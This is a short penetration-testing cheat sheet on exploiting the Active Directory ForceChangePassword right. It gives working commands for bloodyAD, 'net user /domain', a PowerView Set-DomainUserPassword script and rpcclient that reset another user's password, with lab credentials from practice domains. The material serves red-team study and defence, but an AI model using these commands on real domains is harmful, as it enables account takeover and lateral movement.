ForceChangePassword

Exploitation

Figure 1: User wley has ForceChangePassword rights over user damundsen.

bloodyAD

bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb set password winrm_svc 'Password123!'

Native

net user <USER> <PASS> /domain

PowerView

# creating a PSCredential Object for the currently owned user
$SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
# set the password we want for the target user by creating a SecureString Object
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
# import powerview
Import-Module .\PowerView.ps1
# change the user's password
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

RPC

rpcclient -U <USER> <IP>
> setuserinfo2 <USER> 23 'ComplexP4ssw0rd!'
# OR
> chgpasswd3 <USER> <OLDPASS> <NEWPASS>

Resources

BH Edge

Edges — BloodHound 4.2.0 documentation